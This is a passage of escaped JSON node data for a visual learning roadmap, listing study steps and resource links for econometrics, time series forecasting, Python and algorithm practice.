\"qRxvTDjpoW1GuQ771syXb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 578.5569587893465,\n        \"y\": 125\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 578.5569587893465,\n        \"y\": 125\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"TAN0BhW1tm0t3eNHOmOZ8\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 771,\n        \"y\": 398.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"93tag4KlRPagkbdpY4lVT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 771,\n        \"y\": 398.4007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5wqI-L_vEpqtvXZEAbfqE\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 771,\n        \"y\": 835.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"93tag4KlRPagkbdpY4lVT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 771,\n        \"y\": 835.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"hvFSTxMfMXPysDinI0oH8\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 695.2536071965056,\n        \"y\": 1192.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"SG6DkcQM4NdgTSu2MR8Q5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 695.2536071965056,\n        \"y\": 1192.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"YT5_iofe0kQ-wVjd54RT8\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 331.89029212267985,\n        \"y\": 1192.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 331.89029212267985,\n        \"y\": 1192.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ct0yUXFnbSXCw4HGIh3hh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 229,\n        \"y\": 799.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"^\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Jsyv0X1BPlP0Vi_oklxHA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 229,\n        \"y\": 799.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"_-qXa7MhA16X2BBdaWw4f\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 229,\n        \"y\": 1131.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"^\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"color\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 229,\n        \"y\": 1131.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"EyjiTmb9kck4OoNtbde1x\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 229,\n        \"y\": 501.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"^\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Jsyv0X1BPlP0Vi_oklxHA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 229,\n        \"y\": 501.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"WmbvaP_zRGs_WhYK30YqM\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 45.89029212267985,\n        \"y\": 445.9007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"qRxvTDjpoW1GuQ771syXb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 45.89029212267985,\n        \"y\": 445.9007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"y6xXsc-uSAmRDnNuyhqH2\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -226.10970787732018,\n        \"y\": 517.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pre-requisites of Econometrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"eOFoGKveaHaBm_6ppJUtA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -226.10970787732018,\n        \"y\": 517.6026955968633\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"2rt4WE9cE93K6vDM-c-IL\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -196.10970787732018,\n        \"y\": 548.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fundamentals of Econometrics\",\n        \"href\": \"https://bookdown.org/ts_robinson1994/10EconometricTheorems/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Book\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.10970787732018,\n        \"y\": 548.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h19k9Fn5XPh3_pKEC8Ftp\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -226.10970787732018,\n        \"y\": 621.1026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Regression, Timeseries, Fitting Distributions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"eOFoGKveaHaBm_6ppJUtA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 384,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -226.10970787732018,\n        \"y\": 621.1026955968633\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 384,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 384,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"Eu7OT0Q7mtrMseUVumGXA\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732018,\n        \"y\": 658.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Intro to Econometrics\",\n        \"href\": \"https://academia.edu/33062577/Dougherty_Intro_to_Econometrics_4th_ed_small\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Book\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732018,\n        \"y\": 658.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hVOt_Ya86r_SIXJBkLXBj\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732018,\n        \"y\": 711.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coursera: Econometrics\",\n        \"href\": \"https://imp.i384100.net/k0krYL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732018,\n        \"y\": 711.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YU_5XufdA-zfhM0fXxGYs\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732018,\n        \"y\": 784.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kaggle: Learn Time Series\",\n        \"href\": \"https://www.kaggle.com/learn/time-series\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732018,\n        \"y\": 784.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9mB3u8st5yhM7HfVWWqFZ\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732018,\n        \"y\": 837.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kaggle: Time Series Basics\",\n        \"href\": \"https://kaggle.com/code/jagangupta/time-series-basics-exploring-traditional-ts#Hierarchical-time-series\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Tutorial\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732018,\n        \"y\": 837.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FwuC8d9ocHeDxi8MSIPH6\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732018,\n        \"y\": 890.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ARIMA model for Time Series\",\n        \"href\": \"https://machinelearningmastery.com/arima-for-time-series-forecasting-with-python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Tutorial\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732018,\n        \"y\": 890.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"53Z3qm-zP4u7_KqSD_XlB\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732006,\n        \"y\": 943.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Time Series Models\",\n        \"href\": \"https://machinelearningmastery.com/time-series-forecasting-methods-in-python-cheat-sheet/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Tutorial\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732006,\n        \"y\": 943.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LVLv69h57rnKPKpa0Cj4h\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732006,\n        \"y\": 996.6026955968633\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Forecasting Task with Solution\",\n        \"href\": \"https://github.com/stalkermustang/bcdc_ds_takehome\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"OpenSource\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732006,\n        \"y\": 996.6026955968633\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FrY1Yl6yvLYA5zjBNKRVx\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -191.10970787732018,\n        \"y\": 1063.6026955968632\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coursera: Linear Regression\",\n        \"href\": \"https://imp.i384100.net/9g97Ke\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 419,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -191.10970787732018,\n        \"y\": 1063.6026955968632\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 419,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 419,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XLDWuSt4tI4gnmqMFdpmy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -153.75449749114952,\n        \"y\": 1159.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qa85hEVe2kz62k9Pj4QCA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -153.75449749114952,\n        \"y\": 1159.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HVHYJ8gWHCZMACuvKP7gK\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -188.75449749114966,\n        \"y\": 1166.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"4\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"Sehg_WX_mnMCRlKrvwWzc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -188.75449749114966,\n        \"y\": 1166.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"27CsPu77wfCw4uI0Tu45e\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -266.2175217142465,\n        \"y\": 463.28255589147204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        },\n        \"oldId\": \"kBQV71KwuVxpUi0nFj17X\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 722,\n      \"positionAbsolute\": {\n        \"x\": -266.2175217142465,\n        \"y\": 463.28255589147204\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 722\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 722\n      }\n    },\n    {\n      \"id\": \"z9R4_7UWeLz66RptYvcEI\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -273,\n        \"y\": 555.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Jsyv0X1BPlP0Vi_oklxHA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 29,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -273,\n        \"y\": 555.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 29,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"AIFkyjgGB7AXmCG6D1bzs\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -273,\n        \"y\": 812.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Jsyv0X1BPlP0Vi_oklxHA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 29,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -273,\n        \"y\": 812.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 29,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Jsyv0X1BPlP0Vi_oklxHA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -273,\n        \"y\": 1039.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"_-qXa7MhA16X2BBdaWw4f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 29,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -273,\n        \"y\": 1039.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 29,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"MVrAqizgkoAs2aghN8TgV\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -253.75449749114952,\n        \"y\": 1233.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn Python Programming Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"uPzzUpI0--7OWDfNeBIjt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 344,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -253.75449749114952,\n        \"y\": 1233.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 344,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 344,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"aRYOzyqvWmarRmNaPKqxI\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1273.94348613687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn Python: Kaggle\",\n        \"href\": \"https://www.kaggle.com/learn/python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 387,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1273.94348613687\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eUQRHOSQq0hjwH0LuGDqY\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1327.94348613687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Google's Python Class\",\n        \"href\": \"https://developers.google.com/edu/python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 387,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1327.94348613687\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R2WD0NKP7oM27aHr9SpO6\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -257.93697112052075,\n        \"y\": 453.78255589147204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"iJv3Ii5B5TK8i5mN2mLs2\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -257.93697112052075,\n        \"y\": 453.78255589147204\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"36wmSfRpWOnprqPo4C7QA\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -257.93697112052075,\n        \"y\": 1174.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        },\n        \"oldId\": \"iJv3Ii5B5TK8i5mN2mLs2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -257.93697112052075,\n        \"y\": 1174.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"StBCykpzpM4g9PRFeSNXa\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -252.60970787732018,\n        \"y\": 1405.2347754827133\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Structures and Algorithms (Python)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"eOFoGKveaHaBm_6ppJUtA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 362,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -252.60970787732018,\n        \"y\": 1405.2347754827133\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 362,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 362,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"lhLL1ycUWgeX_d5gd-g8g\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1497.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Study Plans - Leetcode\",\n        \"href\": \"https://leetcode.com/studyplan/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Challenges\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 387,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1497.72719179845\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4_5Q9PesKAtnLlT-NAm3z\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1442.932766177383\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Algorithmic Excercises\",\n        \"href\": \"https://leetcode.com/explore/learn/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Tutorial + Challenges\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      